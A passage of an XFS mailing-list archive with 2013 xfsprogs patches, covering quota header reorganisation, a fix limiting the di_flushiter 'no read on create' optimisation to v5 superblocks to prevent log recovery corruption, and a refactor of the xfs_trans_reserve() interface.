void xfs_trans_unreserve_and_mod_dquots(struct xfs_trans *); -extern int xfs_trans_reserve_quota_nblks(struct xfs_trans *, - struct xfs_inode *, long, long, uint); -extern int xfs_trans_reserve_quota_bydquots(struct xfs_trans *, - struct xfs_mount *, struct xfs_dquot *, - struct xfs_dquot *, long, long, uint); - -extern int xfs_qm_vop_dqalloc(struct xfs_inode *, uid_t, gid_t, prid_t, uint, - struct xfs_dquot **, struct xfs_dquot **); -extern void xfs_qm_vop_create_dqattach(struct xfs_trans *, struct xfs_inode *, - struct xfs_dquot *, struct xfs_dquot *); -extern int xfs_qm_vop_rename_dqattach(struct xfs_inode **); -extern struct xfs_dquot *xfs_qm_vop_chown(struct xfs_trans *, - struct xfs_inode *, struct xfs_dquot **, struct xfs_dquot *); -extern int xfs_qm_vop_chown_reserve(struct xfs_trans *, struct xfs_inode *, - struct xfs_dquot *, struct xfs_dquot *, uint); -extern int xfs_qm_dqattach(struct xfs_inode *, uint); -extern int xfs_qm_dqattach_locked(struct xfs_inode *, uint); -extern void xfs_qm_dqdetach(struct xfs_inode *); -extern void xfs_qm_dqrele(struct xfs_dquot *); -extern void xfs_qm_statvfs(struct xfs_inode *, struct kstatfs *); -extern int xfs_qm_newmount(struct xfs_mount *, uint *, uint *); -extern void xfs_qm_mount_quotas(struct xfs_mount *); -extern void xfs_qm_unmount(struct xfs_mount *); -extern void xfs_qm_unmount_quotas(struct xfs_mount *); - -#else -static inline int -xfs_qm_vop_dqalloc(struct xfs_inode *ip, uid_t uid, gid_t gid, prid_t prid, - uint flags, struct xfs_dquot **udqp, struct xfs_dquot **gdqp) -{ - *udqp = NULL; - *gdqp = NULL; - return 0; -} -#define xfs_trans_dup_dqinfo(tp, tp2) -#define xfs_trans_free_dqinfo(tp) -#define xfs_trans_mod_dquot_byino(tp, ip, fields, delta) -#define xfs_trans_apply_dquot_deltas(tp) -#define xfs_trans_unreserve_and_mod_dquots(tp) -static inline int xfs_trans_reserve_quota_nblks(struct xfs_trans *tp, - struct xfs_inode *ip, long nblks, long ninos, uint flags) -{ - return 0; -} -static inline int xfs_trans_reserve_quota_bydquots(struct xfs_trans *tp, - struct xfs_mount *mp, struct xfs_dquot *udqp, - struct xfs_dquot *gdqp, long nblks, long nions, uint flags) -{ - return 0; -} -#define xfs_qm_vop_create_dqattach(tp, ip, u, g) -#define xfs_qm_vop_rename_dqattach(it) (0) -#define xfs_qm_vop_chown(tp, ip, old, new) (NULL) -#define xfs_qm_vop_chown_reserve(tp, ip, u, g, fl) (0) -#define xfs_qm_dqattach(ip, fl) (0) -#define xfs_qm_dqattach_locked(ip, fl) (0) -#define xfs_qm_dqdetach(ip) -#define xfs_qm_dqrele(d) -#define xfs_qm_statvfs(ip, s) -#define xfs_qm_newmount(mp, a, b) (0) -#define xfs_qm_mount_quotas(mp) -#define xfs_qm_unmount(mp) -#define xfs_qm_unmount_quotas(mp) -#endif /* CONFIG_XFS_QUOTA */ - -#define xfs_trans_unreserve_quota_nblks(tp, ip, nblks, ninos, flags) \ - xfs_trans_reserve_quota_nblks(tp, ip, -(nblks), -(ninos), flags) -#define xfs_trans_reserve_quota(tp, mp, ud, gd, nb, ni, f) \ - xfs_trans_reserve_quota_bydquots(tp, mp, ud, gd, nb, ni, \ - f | XFS_QMOPT_RES_REGBLKS) - -extern int xfs_qm_dqcheck(struct xfs_mount *, xfs_disk_dquot_t *, - xfs_dqid_t, uint, uint, char *); -extern int xfs_mount_reset_sbqflags(struct xfs_mount *); - -extern const struct xfs_buf_ops xfs_dquot_buf_ops; - -#endif /* __KERNEL__ */ -#endif /* __XFS_QUOTA_H__ */ diff --git a/include/xfs_quota_defs.h b/include/xfs_quota_defs.h new file mode 100644 index 0000000..e6b0d6e --- /dev/null +++ b/include/xfs_quota_defs.h @@ -0,0 +1,157 @@ +/* + * Copyright (c) 2000-2005 Silicon Graphics, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef __XFS_QUOTA_DEFS_H__ +#define __XFS_QUOTA_DEFS_H__ + +/* + * Quota definitions shared between user and kernel source trees. + */ + +/* + * Even though users may not have quota limits occupying all 64-bits, + * they may need 64-bit accounting. Hence, 64-bit quota-counters, + * and quota-limits. This is a waste in the common case, but hey ... + */ +typedef __uint64_t xfs_qcnt_t; +typedef __uint16_t xfs_qwarncnt_t; + +/* + * flags for q_flags field in the dquot. + */ +#define XFS_DQ_USER 0x0001 /* a user quota */ +#define XFS_DQ_PROJ 0x0002 /* project quota */ +#define XFS_DQ_GROUP 0x0004 /* a group quota */ +#define XFS_DQ_DIRTY 0x0008 /* dquot is dirty */ +#define XFS_DQ_FREEING 0x0010 /* dquot is beeing torn down */ + +#define XFS_DQ_ALLTYPES (XFS_DQ_USER|XFS_DQ_PROJ|XFS_DQ_GROUP) + +#define XFS_DQ_FLAGS \ + { XFS_DQ_USER, "USER" }, \ + { XFS_DQ_PROJ, "PROJ" }, \ + { XFS_DQ_GROUP, "GROUP" }, \ + { XFS_DQ_DIRTY, "DIRTY" }, \ + { XFS_DQ_FREEING, "FREEING" } + +/* + * We have the possibility of all three quota types being active at once, and + * hence free space modification requires modification of all three current + * dquots in a single transaction. For this case we need to have a reservation + * of at least 3 dquots. + * + * However, a chmod operation can change both UID and GID in a single + * transaction, resulting in requiring {old, new} x {uid, gid} dquots to be + * modified. Hence for this case we need to reserve space for at least 4 dquots. + * + * And in the worst case, there's a rename operation that can be modifying up to + * 4 inodes with dquots attached to them. In reality, the only inodes that can + * have their dquots modified are the source and destination directory inodes + * due to directory name creation and removal. That can require space allocation + * and/or freeing on both directory inodes, and hence all three dquots on each + * inode can be modified. And if the directories are world writeable, all the + * dquots can be unique and so 6 dquots can be modified.... + * + * And, of course, we also need to take into account the dquot log format item + * used to describe each dquot. + */ +#define XFS_DQUOT_LOGRES(mp) \ + ((sizeof(struct xfs_dq_logformat) + sizeof(struct xfs_disk_dquot)) * 6) + +#define XFS_IS_QUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_ALL_QUOTA_ACCT) +#define XFS_IS_UQUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_UQUOTA_ACCT) +#define XFS_IS_PQUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_PQUOTA_ACCT) +#define XFS_IS_GQUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_GQUOTA_ACCT) +#define XFS_IS_UQUOTA_ENFORCED(mp) ((mp)->m_qflags & XFS_UQUOTA_ENFD) +#define XFS_IS_GQUOTA_ENFORCED(mp) ((mp)->m_qflags & XFS_GQUOTA_ENFD) +#define XFS_IS_PQUOTA_ENFORCED(mp) ((mp)->m_qflags & XFS_PQUOTA_ENFD) + +/* + * Incore only flags for quotaoff - these bits get cleared when quota(s) + * are in the process of getting turned off. These flags are in m_qflags but + * never in sb_qflags. + */ +#define XFS_UQUOTA_ACTIVE 0x1000 /* uquotas are being turned off */ +#define XFS_GQUOTA_ACTIVE 0x2000 /* gquotas are being turned off */ +#define XFS_PQUOTA_ACTIVE 0x4000 /* pquotas are being turned off */ +#define XFS_ALL_QUOTA_ACTIVE \ + (XFS_UQUOTA_ACTIVE | XFS_GQUOTA_ACTIVE | XFS_PQUOTA_ACTIVE) + +/* + * Checking XFS_IS_*QUOTA_ON() while holding any inode lock guarantees + * quota will be not be switched off as long as that inode lock is held. + */ +#define XFS_IS_QUOTA_ON(mp) ((mp)->m_qflags & (XFS_UQUOTA_ACTIVE | \ + XFS_GQUOTA_ACTIVE | \ + XFS_PQUOTA_ACTIVE)) +#define XFS_IS_OQUOTA_ON(mp) ((mp)->m_qflags & (XFS_GQUOTA_ACTIVE | \ + XFS_PQUOTA_ACTIVE)) +#define XFS_IS_UQUOTA_ON(mp) ((mp)->m_qflags & XFS_UQUOTA_ACTIVE) +#define XFS_IS_GQUOTA_ON(mp) ((mp)->m_qflags & XFS_GQUOTA_ACTIVE) +#define XFS_IS_PQUOTA_ON(mp) ((mp)->m_qflags & XFS_PQUOTA_ACTIVE) + +/* + * Flags to tell various functions what to do. Not all of these are meaningful + * to a single function. None of these XFS_QMOPT_* flags are meant to have + * persistent values (ie. their values can and will change between versions) + */ +#define XFS_QMOPT_DQALLOC 0x0000002 /* alloc dquot ondisk if needed */ +#define XFS_QMOPT_UQUOTA 0x0000004 /* user dquot requested */ +#define XFS_QMOPT_PQUOTA 0x0000008 /* project dquot requested */ +#define XFS_QMOPT_FORCE_RES 0x0000010 /* ignore quota limits */ +#define XFS_QMOPT_SBVERSION 0x0000040 /* change superblock version num */ +#define XFS_QMOPT_DOWARN 0x0000400 /* increase warning cnt if needed */ +#define XFS_QMOPT_DQREPAIR 0x0001000 /* repair dquot if damaged */ +#define XFS_QMOPT_GQUOTA 0x0002000 /* group dquot requested */ +#define XFS_QMOPT_ENOSPC 0x0004000 /* enospc instead of edquot (prj) */ + +/* + * flags to xfs_trans_mod_dquot to indicate which field needs to be + * modified. + */ +#define XFS_QMOPT_RES_REGBLKS 0x0010000 +#define XFS_QMOPT_RES_RTBLKS 0x0020000 +#define XFS_QMOPT_BCOUNT 0x0040000 +#define XFS_QMOPT_ICOUNT 0x0080000 +#define XFS_QMOPT_RTBCOUNT 0x0100000 +#define XFS_QMOPT_DELBCOUNT 0x0200000 +#define XFS_QMOPT_DELRTBCOUNT 0x0400000 +#define XFS_QMOPT_RES_INOS 0x0800000 + +/* + * flags for dqalloc. + */ +#define XFS_QMOPT_INHERIT 0x1000000 + +/* + * flags to xfs_trans_mod_dquot. + */ +#define XFS_TRANS_DQ_RES_BLKS XFS_QMOPT_RES_REGBLKS +#define XFS_TRANS_DQ_RES_RTBLKS XFS_QMOPT_RES_RTBLKS +#define XFS_TRANS_DQ_RES_INOS XFS_QMOPT_RES_INOS +#define XFS_TRANS_DQ_BCOUNT XFS_QMOPT_BCOUNT +#define XFS_TRANS_DQ_DELBCOUNT XFS_QMOPT_DELBCOUNT +#define XFS_TRANS_DQ_ICOUNT XFS_QMOPT_ICOUNT +#define XFS_TRANS_DQ_RTBCOUNT XFS_QMOPT_RTBCOUNT +#define XFS_TRANS_DQ_DELRTBCOUNT XFS_QMOPT_DELRTBCOUNT + + +#define XFS_QMOPT_QUOTALL \ + (XFS_QMOPT_UQUOTA | XFS_QMOPT_PQUOTA | XFS_QMOPT_GQUOTA) +#define XFS_QMOPT_RESBLK_MASK (XFS_QMOPT_RES_REGBLKS | XFS_QMOPT_RES_RTBLKS) + +#endif /* __XFS_QUOTA_H__ */ -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7E9C529E22 for ; Wed, 4 Sep 2013 17:21:32 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 607B48F8033 for ; Wed, 4 Sep 2013 15:21:32 -0700 (PDT) X-ASG-Debug-ID: 1378333282-04cbb02c3ad4b6f0006-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id w1lQxjMxUd1TAZFv for ; Wed, 04 Sep 2013 15:21:30 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBScvMwgYMTkDGxmIAbo2jhUMARKFUAOiJIc3gzIqgSwBAR4 Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:27 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLDA-0007dZ-IN for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLDA-0003vZ-HF for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 50/55] xfs: di_flushiter considered harmful Date: Thu, 5 Sep 2013 08:05:54 +1000 X-ASG-Orig-Subj: [PATCH 50/55] xfs: di_flushiter considered harmful Message-Id: <1378332359-14737-51-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333290 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner When we made all inode updates transactional, we no longer needed the log recovery detection for inodes being newer on disk than the transaction being replayed - it was redundant as replay of the log would always result in the latest version of the inode woul dbe on disk. It was redundant, but left in place because it wasn't considered to be a problem. However, with the new "don't read inodes on create" optimisation, flushiter has come back to bite us. Essentially, the optimisation made always initialises flushiter to zero in the create transaction, and so if we then crash and run recovery and the inode already on disk has a non-zero flushiter it will skip recovery of that inode. As a result, log recovery does the wrong thing and we end up with a corrupt filesystem. Because we have to support old kernel to new kernl upgrades, we can't just get rid of the flushiter support in log recovery as we might be upgrading from a kernel that doesn't have fully transaction inode updates. Unfortunately, for v4 superblocks there is no way to guarantee that log recovery knows about this fact. We cannot add a new inode format flag to say it's a "special inode create" because it won't be understood by older kernels and so recovery could do the wrong thing on downgrade. We cannot specially detect the combination of zero mode/non-zero flushiter on disk to non-zero mode, zero flushiter in the log item during recovery because wrapping of the flushiter can result in false detection. Hence that makes this "don't use flushiter" optimisation limited to a disk format that guarantees that we don't need it. And that means the only fix here is to limit the "no read IO on create" optimisation to version 5 superblocks.... Signed-off-by: Dave Chinner --- include/xfs_dinode.h | 3 +++ libxfs/xfs_inode_buf.c | 4 +++- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/include/xfs_dinode.h b/include/xfs_dinode.h index 07d735a..e5869b5 100644 --- a/include/xfs_dinode.h +++ b/include/xfs_dinode.h @@ -39,6 +39,9 @@ typedef struct xfs_timestamp { * There is a very similar struct icdinode in xfs_inode which matches the * layout of the first 96 bytes of this structure, but is kept in native * format instead of big endian. + * + * Note: di_flushiter is only used by v1/2 inodes - it's effectively a zeroed + * padding field for v3 inodes. */ typedef struct xfs_dinode { __be16 di_magic; /* inode magic # = XFS_DINODE_MAGIC */ diff --git a/libxfs/xfs_inode_buf.c b/libxfs/xfs_inode_buf.c index 3c811f5..6205318 100644 --- a/libxfs/xfs_inode_buf.c +++ b/libxfs/xfs_inode_buf.c @@ -213,7 +213,6 @@ xfs_dinode_to_disk( to->di_projid_lo = cpu_to_be16(from->di_projid_lo); to->di_projid_hi = cpu_to_be16(from->di_projid_hi); memcpy(to->di_pad, from->di_pad, sizeof(to->di_pad)); - to->di_flushiter = cpu_to_be16(from->di_flushiter); to->di_atime.t_sec = cpu_to_be32(from->di_atime.t_sec); to->di_atime.t_nsec = cpu_to_be32(from->di_atime.t_nsec); to->di_mtime.t_sec = cpu_to_be32(from->di_mtime.t_sec); @@ -241,6 +240,9 @@ xfs_dinode_to_disk( to->di_lsn = cpu_to_be64(from->di_lsn); memcpy(to->di_pad2, from->di_pad2, sizeof(to->di_pad2)); platform_uuid_copy(&to->di_uuid, &from->di_uuid); + to->di_flushiter = 0; + } else { + to->di_flushiter = cpu_to_be16(from->di_flushiter); } } -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D4F7529E0E for ; Wed, 4 Sep 2013 17:21:31 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id B6C2E8F8033 for ; Wed, 4 Sep 2013 15:21:31 -0700 (PDT) X-ASG-Debug-ID: 1378333283-04cb6c2e9fd581b0004-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id tuWLvq7HY6ik4pVg for ; Wed, 04 Sep 2013 15:21:28 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AggRAKexJ1J5LJ62/2dsb2JhbABTCIMHNa1aAz+TeYEoF3SCJAEBBScvMwgYMTkDGxmIAbo2jg0WBoEshC8DmSSJAIc3gzIqgS0IFw Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:24 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLDB-0007do-4S for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:05 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLDA-0003uv-Cc for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 44/55] xfs: refactor xfs_trans_reserve() interface Date: Thu, 5 Sep 2013 08:05:48 +1000 X-ASG-Orig-Subj: [PATCH 44/55] xfs: refactor xfs_trans_reserve() interface Message-Id: <1378332359-14737-45-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333288 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu With the new xfs_trans_res structure has been introduced, the log reservation size, log count as well as log flags are pre-initialized at mount time. So it's time to refine xfs_trans_reserve() interface to be more neat. Also, introduce a new helper M_RES() to return a pointer to the mp->m_resv structure to simplify the input. Signed-off-by: Jie Liu Signed-off-by: Dave Chinner --- include/libxfs.h | 3 +- include/xfs_trans_resv.h | 3 ++ libxfs/trans.c | 20 +++++------ libxfs/util.c | 15 +++++--- libxfs/xfs_attr.c | 33 +++++++++--------- libxfs/xfs_bmap.c | 4 +-- libxfs/xfs_trans_resv.c | 7 ++-- mkfs/proto.c | 24 ++++++++----- mkfs/xfs_mkfs.c | 5 ++- repair/phase5.c | 3 +- repair/phase6.c | 89 +++++++++++++++++++++++------------------------- repair/phase7.c | 7 ++-- 12 files changed, 115 insertions(+), 98 deletions(-) diff --git a/include/libxfs.h b/include/libxfs.h index e48ab70..533d336 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -513,7 +513,8 @@ extern int xfs_trans_roll(struct xfs_trans **, struct xfs_inode *); extern xfs_trans_t *libxfs_trans_alloc (xfs_mount_t *, int); extern xfs_trans_t *libxfs_trans_dup (xfs_trans_t *); -extern int libxfs_trans_reserve (xfs_trans_t *, uint,uint,uint,uint,uint); +extern int libxfs_trans_reserve(struct xfs_trans *, struct xfs_trans_res *, + uint, uint); extern int libxfs_trans_commit (xfs_trans_t *, uint); extern void libxfs_trans_cancel (xfs_trans_t *, int); extern xfs_buf_t *libxfs_trans_getsb (xfs_trans_t *, xfs_mount_t *, int); diff --git a/include/xfs_trans_resv.h b/include/xfs_trans_resv.h index b8d5666..140d3f3 100644 --- a/include/xfs_trans_resv.h +++ b/include/xfs_trans_resv.h @@ -65,6 +65,9 @@ struct xfs_trans_resv { struct xfs_trans_res tr_fsyncts; /* update timestamps on fsync */ }; +/* shorthand way of accessing reservation structure */ +#define M_RES(mp) (&(mp)->m_resv) + /* * Per-extent log reservation for the allocation btree changes * involved in freeing or allocating an extent. diff --git a/libxfs/trans.c b/libxfs/trans.c index 2fc0ecc..6a05673 100644 --- a/libxfs/trans.c +++ b/libxfs/trans.c @@ -91,7 +91,7 @@ libxfs_trans_roll( struct xfs_inode *dp) { struct xfs_trans *trans; - unsigned int logres, count; + struct xfs_trans_res tres; int error; /* @@ -103,8 +103,8 @@ libxfs_trans_roll( /* * Copy the critical parameters from one trans to the next. */ - logres = trans->t_log_res; - count = trans->t_log_count; + tres.tr_logres = trans->t_log_res; + tres.tr_logcount = trans->t_log_count; *tpp = xfs_trans_dup(trans); /* @@ -128,8 +128,8 @@ libxfs_trans_roll( * across this call, or that anything that is locked be logged in * the prior and the next transactions. */ - error = xfs_trans_reserve(trans, 0, logres, 0, - XFS_TRANS_PERM_LOG_RES, count); + tres.tr_logflags = XFS_TRANS_PERM_LOG_RES; + error = xfs_trans_reserve(trans, &tres, 0, 0); /* * Ensure that the inode is in the new transaction and locked. */ @@ -176,12 +176,10 @@ libxfs_trans_dup( int libxfs_trans_reserve( - xfs_trans_t *tp, - uint blocks, - uint logspace, - uint rtextents, - uint flags, - uint logcount) + struct xfs_trans *tp, + struct xfs_trans_res *resp, + uint blocks, + uint rtextents) { xfs_sb_t *mpsb = &tp->t_mountp->m_sb; diff --git a/libxfs/util.c b/libxfs/util.c index 1d3113a..d7459e0 100644 --- a/libxfs/util.c +++ b/libxfs/util.c @@ -473,7 +473,8 @@ libxfs_alloc_file_space( tp = xfs_trans_alloc(mp, XFS_TRANS_DIOSTRAT); resblks = (uint)XFS_DIOSTRAT_SPACE_RES(mp, datablocks); - error = xfs_trans_reserve(tp, resblks, 0, 0, 0, 0); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_write, + resblks, 0); if (error) break; xfs_trans_ijoin(tp, ip, 0); @@ -536,7 +537,6 @@ libxfs_inode_alloc( struct fsxattr *fsx, xfs_inode_t **ipp) { - int i; xfs_buf_t *ialloc_context; xfs_inode_t *ip; xfs_trans_t *ntp; @@ -555,13 +555,20 @@ libxfs_inode_alloc( } if (ialloc_context) { + struct xfs_trans_res tres; + xfs_trans_bhold(*tp, ialloc_context); + tres.tr_logres = (*tp)->t_log_res; + tres.tr_logcount = (*tp)->t_log_count; + ntp = xfs_trans_dup(*tp); xfs_trans_commit(*tp, 0); *tp = ntp; - if ((i = xfs_trans_reserve(*tp, 0, 0, 0, 0, 0))) { + tres.tr_logflags = XFS_TRANS_PERM_LOG_RES; + error = xfs_trans_reserve(*tp, &tres, 0, 0); + if (error) { fprintf(stderr, _("%s: cannot reserve space: %s\n"), - progname, strerror(i)); + progname, strerror(error)); exit(1); } xfs_trans_bjoin(*tp, ialloc_context); diff --git a/libxfs/xfs_attr.c b/libxfs/xfs_attr.c index c96083e..17519d3 100644 --- a/libxfs/xfs_attr.c +++ b/libxfs/xfs_attr.c @@ -202,13 +202,14 @@ xfs_attr_set_int( int valuelen, int flags) { - xfs_da_args_t args; - xfs_fsblock_t firstblock; - xfs_bmap_free_t flist; - int error, err2, committed; - xfs_mount_t *mp = dp->i_mount; - int rsvd = (flags & ATTR_ROOT) != 0; - int local; + xfs_da_args_t args; + xfs_fsblock_t firstblock; + xfs_bmap_free_t flist; + int error, err2, committed; + struct xfs_mount *mp = dp->i_mount; + struct xfs_trans_res tres; + int rsvd = (flags & ATTR_ROOT) != 0; + int local; /* * Attach the dquots to the inode. @@ -268,11 +269,11 @@ xfs_attr_set_int( if (rsvd) args.trans->t_flags |= XFS_TRANS_RESERVE; - error = xfs_trans_reserve(args.trans, args.total, - XFS_ATTRSETM_LOG_RES(mp) + - XFS_ATTRSETRT_LOG_RES(mp) * args.total, - 0, XFS_TRANS_PERM_LOG_RES, - XFS_ATTRSET_LOG_COUNT); + tres.tr_logres = M_RES(mp)->tr_attrsetm.tr_logres + + M_RES(mp)->tr_attrsetrt.tr_logres * args.total; + tres.tr_logcount = XFS_ATTRSET_LOG_COUNT; + tres.tr_logflags = XFS_TRANS_PERM_LOG_RES; + error = xfs_trans_reserve(args.trans, &tres, args.total, 0); if (error) { xfs_trans_cancel(args.trans, 0); return(error); @@ -492,11 +493,9 @@ xfs_attr_remove_int(xfs_inode_t *dp, struct xfs_name *name, int flags) if (flags & ATTR_ROOT) args.trans->t_flags |= XFS_TRANS_RESERVE; - if ((error = xfs_trans_reserve(args.trans, - XFS_ATTRRM_SPACE_RES(mp), - XFS_ATTRRM_LOG_RES(mp), - 0, XFS_TRANS_PERM_LOG_RES, - XFS_ATTRRM_LOG_COUNT))) { + error = xfs_trans_reserve(args.trans, &M_RES(mp)->tr_attrrm, + XFS_ATTRRM_SPACE_RES(mp), 0); + if (error) { xfs_trans_cancel(args.trans, 0); return(error); } diff --git a/libxfs/xfs_bmap.c b/libxfs/xfs_bmap.c index eeaea94..2d480cc 100644 --- a/libxfs/xfs_bmap.c +++ b/libxfs/xfs_bmap.c @@ -1113,8 +1113,8 @@ xfs_bmap_add_attrfork( blks = XFS_ADDAFORK_SPACE_RES(mp); if (rsvd) tp->t_flags |= XFS_TRANS_RESERVE; - if ((error = xfs_trans_reserve(tp, blks, XFS_ADDAFORK_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, XFS_ADDAFORK_LOG_COUNT))) + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_addafork, blks, 0); + if (error) goto error0; xfs_ilock(ip, XFS_ILOCK_EXCL); error = xfs_trans_reserve_quota_nblks(tp, ip, blks, 0, rsvd ? diff --git a/libxfs/xfs_trans_resv.c b/libxfs/xfs_trans_resv.c index 36aeafe..d134136 100644 --- a/libxfs/xfs_trans_resv.c +++ b/libxfs/xfs_trans_resv.c @@ -522,7 +522,8 @@ xfs_calc_attrsetm_reservation( * Since the runtime attribute transaction space is dependent on the total * blocks needed for the 1st bmap, here we calculate out the space unit for * one block so that the caller could figure out the total space according - * to the attibute extent length in blocks by: ext * XFS_ATTRSETRT_LOG_RES(mp). + * to the attibute extent length in blocks by: + * ext * M_RES(mp)->tr_attrsetrt.tr_logres */ STATIC uint xfs_calc_attrsetrt_reservation( @@ -594,14 +595,14 @@ xfs_calc_qm_setqlim_reservation( /* * Allocating quota on disk if needed. - * the write transaction log space: XFS_WRITE_LOG_RES(mp) + * the write transaction log space: M_RES(mp)->tr_write.tr_logres * the unit of quota allocation: one system block size */ STATIC uint xfs_calc_qm_dqalloc_reservation( struct xfs_mount *mp) { - return XFS_WRITE_LOG_RES(mp) + + return M_RES(mp)->tr_write.tr_logres + xfs_calc_buf_res(1, XFS_FSB_TO_B(mp, XFS_DQUOT_CLUSTER_SIZE_FSB) - 1); } diff --git a/mkfs/proto.c b/mkfs/proto.c index c156ddb..0cdef41 100644 --- a/mkfs/proto.c +++ b/mkfs/proto.c @@ -119,7 +119,9 @@ getres( mp = tp->t_mountp; for (i = 0, r = MKFS_BLOCKRES(blocks); r >= blocks; r--) { - i = libxfs_trans_reserve(tp, r, 0, 0, 0, 0); + struct xfs_trans_res tres = {0}; + + i = libxfs_trans_reserve(tp, &tres, r, 0); if (i == 0) return; } @@ -617,13 +619,16 @@ rtinit( xfs_trans_t *tp; struct cred creds; struct fsxattr fsxattrs; + struct xfs_trans_res tres = {0}; /* * First, allocate the inodes. */ tp = libxfs_trans_alloc(mp, 0); - if ((i = libxfs_trans_reserve(tp, MKFS_BLOCKRES_INODE, 0, 0, 0, 0))) + i = libxfs_trans_reserve(tp, &tres, MKFS_BLOCKRES_INODE, 0); + if (i) res_failed(i); + memset(&creds, 0, sizeof(creds)); memset(&fsxattrs, 0, sizeof(fsxattrs)); error = libxfs_inode_alloc(&tp, NULL, S_IFREG, 1, 0, @@ -660,9 +665,11 @@ rtinit( * Next, give the bitmap file some zero-filled blocks. */ tp = libxfs_trans_alloc(mp, 0); - if ((i = libxfs_trans_reserve(tp, mp->m_sb.sb_rbmblocks + - (XFS_BM_MAXLEVELS(mp, 